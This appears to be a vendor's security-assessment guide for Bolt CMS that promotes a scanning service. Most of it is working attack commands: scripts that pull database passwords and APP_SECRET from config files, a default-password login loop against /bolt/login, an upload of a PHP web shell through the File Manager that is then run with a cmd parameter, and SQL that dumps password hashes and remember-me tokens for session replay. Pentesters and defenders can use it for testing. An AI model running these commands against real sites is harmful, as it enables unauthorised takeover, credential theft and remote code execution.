Bolt CMS is an open-source PHP CMS built on Symfony components with a focus on simplicity. Key assessment areas: config/config.yml exposes MySQL database credentials; admin/admin is a common default credential pair at /bolt; bolt_users stores bcrypt-hashed passwords with ROLE_ADMIN identifying admin accounts; and the built-in File Manager allows file uploads that may enable PHP code execution if the upload directory is misconfigured. This guide covers systematic Bolt CMS security assessment.
# Bolt CMS — config/config.yml MySQL credential extraction
BOLT_URL="https://site.example.com"
# app/config/config.yml or config/config.yml — Bolt database configuration
python3 -c "
import yaml
# Bolt 3.x
try:
cfg = yaml.safe_load(open('/var/www/bolt/app/config/config.yml'))
db = cfg.get('database', {})
print('driver:', db.get('driver'))
print('databasename:', db.get('databasename'))
print('username:', db.get('username'))
print('password:', db.get('password', '')[:60])
print('host:', db.get('host'))
except Exception as e:
print('v3 read error:', e)
# password: mysql-password-here <-- MySQL password (CRITICAL)
" 2>/dev/null
# Bolt 4.x+ — uses .env file
cat /var/www/bolt/.env 2>/dev/null | \
grep -E "DATABASE_URL|APP_SECRET|MAIL_|MAILER_"
# DATABASE_URL=mysql://bolt:password@127.0.0.1:3306/bolt
# APP_SECRET=symfonyappsecret
# Check config web access (must return 403)
for CFG_PATH in "app/config/config.yml" ".env" "app/config/"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${BOLT_URL}/${CFG_PATH}" 2>/dev/null)
echo "/${CFG_PATH}: HTTP ${STATUS}"
done
# Test admin credentials at /bolt
for CRED in "admin:admin" "admin:password" "bolt:bolt"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${BOLT_URL}/bolt/login" \
-d "login[username]=${USER}&login[password]=${PASS}" \
-c /tmp/bolt_c -b /tmp/bolt_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Bolt CMS admin panel — File Manager and API assessment
BOLT_URL="https://site.example.com"
# Bolt admin at /bolt (default, configurable)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${BOLT_URL}/bolt" 2>/dev/null)
echo "/bolt: HTTP ${STATUS}"
# Bolt CMS version disclosure
curl -s "${BOLT_URL}/bolt" 2>/dev/null | \
grep -oP 'Bolt CMS[\s/]*\K[\d.]+' | head -1
# Bolt File Manager — upload files via admin
# Admin auth required; uploads go to files/ or files/uploads/
# If PHP execution not blocked in upload directory → RCE
ADMIN_SESS="extracted-bolt-session"
curl -s -X POST "${BOLT_URL}/bolt/upload" \
-F "files[]=@/tmp/shell.php" \
-b "bolt_session=${ADMIN_SESS}" 2>/dev/null | head -5
# Check uploaded file execution
# If PHP execution allowed in upload directory:
curl -s "${BOLT_URL}/files/shell.php?cmd=id" 2>/dev/null | head -3
# Bolt API (Bolt 4+) — JSON API for content
curl -s "${BOLT_URL}/api" 2>/dev/null | \
python3 -c "
import json, sys
try:
d = json.load(sys.stdin)
print('API endpoints:', list(d.keys())[:5])
except: pass
" 2>/dev/null
# Bolt CMS MySQL database — bolt_users hash and content extraction
DB_PASS="extracted-db-password"
mysql -u bolt -p"${DB_PASS}" bolt 2>/dev/null << 'EOF'
-- bolt_users — Bolt CMS user accounts with bcrypt hashes
SELECT u.id, u.username, u.email, u.password,
u.roles, -- JSON array: ["ROLE_ADMIN"] or ["ROLE_EDITOR"]
u.enabled, u.lastseen, u.lastip,
u.displayname
FROM bolt_users u
WHERE u.enabled = 1
ORDER BY u.id;
-- password: bcrypt ($2y$10$...)
-- roles containing ROLE_ADMIN: full admin panel and File Manager access
-- bolt_authtoken — remember-me tokens for session persistence
SELECT a.id, a.user_id, a.token, a.useragent,
a.lastseen, u.username
FROM bolt_authtoken a
JOIN bolt_users u ON u.id = a.user_id
WHERE a.lastseen > DATE_SUB(NOW(), INTERVAL 30 DAY)
ORDER BY a.lastseen DESC;
-- token: remember-me cookie value — may enable session replay
-- bolt_content_pages (or bolt_content_[type]) — content including drafts
SELECT c.id, c.slug, c.status,
c.datecreated, c.datechanged,
c.ownerid,
LEFT(c.title, 80) AS title
FROM bolt_content_pages c
WHERE c.status IN ('draft', 'held')
ORDER BY c.datechanged DESC
LIMIT 20;
-- bolt_log_change — audit log for content changes
SELECT l.id, l.contenttype, l.contentid,
l.date, l.ownerid, l.title,
l.mutation_type
FROM bolt_log_change l
ORDER BY l.date DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| config/config.yml MySQL password and APP_SECRET extraction | Read app/config/config.yml — database.password + APP_SECRET; MySQL full access + Symfony session forgery without credentials | Critical |
| File Manager PHP shell upload in files/ directory | POST /bolt/upload with .php file — if PHP execution not blocked in /files/, uploaded shell executes with web server privileges for RCE | Critical |
| bolt_users bcrypt hash extraction with ROLE_ADMIN identification | MySQL SELECT password, roles FROM bolt_users — bcrypt hashes; ROLE_ADMIN = full admin panel + File Manager + user management | High |
| Admin credential brute-force at /bolt/login | POST /bolt/login — admin/admin or common passwords; no rate limiting by default; admin session enables File Manager, extension management | High |
| bolt_authtoken remember-me token extraction for session replay | MySQL SELECT token FROM bolt_authtoken — persistent remember-me tokens enabling long-term session replay without re-authentication | High |
Ironimo tests Bolt CMS deployments for app/config/config.yml MySQL password and APP_SECRET web and filesystem extraction, admin credential brute-force at /bolt/login, File Manager PHP web shell upload in files/ directory with execution verification, bolt_users bcrypt hash extraction with ROLE_ADMIN role identification, bolt_authtoken remember-me session token enumeration, bolt_content draft and held entry access, /app/config/ and .env web accessibility verification, Bolt API unauthenticated content enumeration, Bolt extension inventory for vulnerability detection, and Bolt CMS version disclosure for CVE targeting.
Start free scan